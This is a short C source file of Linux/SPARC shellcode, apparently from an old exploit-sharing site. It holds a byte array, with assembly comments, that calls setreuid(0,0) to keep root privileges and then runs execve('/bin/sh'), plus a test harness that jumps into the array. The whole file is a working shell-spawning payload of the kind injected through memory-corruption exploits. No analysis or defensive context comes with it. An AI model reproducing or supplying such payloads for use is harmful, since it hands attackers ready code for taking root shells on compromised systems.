/*
 *  Linux/SPARC [setreuid(0,0); execve() of /bin/sh] shellcode.
 */  

char c0de[] = /* anathema < anathema@hack.co.za > */
/* setreuid(0,0); */
"\x82\x10\x20\x7e"   /* mov 126, %g1               */
"\x92\x22\x40\x09"   /* sub %o1, %o1, %o1          */
"\x90\x0a\x40\x09"   /* and %o1, %o1, %o0          */
"\x91\xd0\x20\x10"   /* ta 0x10                    */

/* execve() of /bin/sh */
"\x2d\x0b\xd8\x9a"   /* sethi %hi(0x2f626800), %l6 */
"\xac\x15\xa1\x6e"   /* or %l6, 0x16e, %l6         */
"\x2f\x0b\xdc\xda"   /* sethi %hi(0x2f736800), %l7 */
"\x90\x0b\x80\x0e"   /* and %sp, %sp, %o0          */
"\x92\x03\xa0\x08"   /* add %sp, 0x08, %o1         */
"\x94\x22\x80\x0a"   /* sub %o2, %o2, %o2          */
"\x9c\x03\xa0\x10"   /* add %sp, 0x10, %sp         */
"\xec\x3b\xbf\xf0"   /* std %l6, [ %sp + - 16 ]    */
"\xd0\x23\xbf\xf8"   /* st %o0, [ %sp + - 8 ]      */
"\xc0\x23\xbf\xfc"   /* clr [ %sp + -4 ]           */
"\x82\x10\x20\x3b"   /* mov 0x3b, %g1              */
"\x91\xd0\x20\x10"   /* ta 0x10                    */
;

/*
 *  Test out the shellcode.
 */ 
main ()
{
    void (*sc)() = (void *)c0de;
    sc();
}

/* EOF */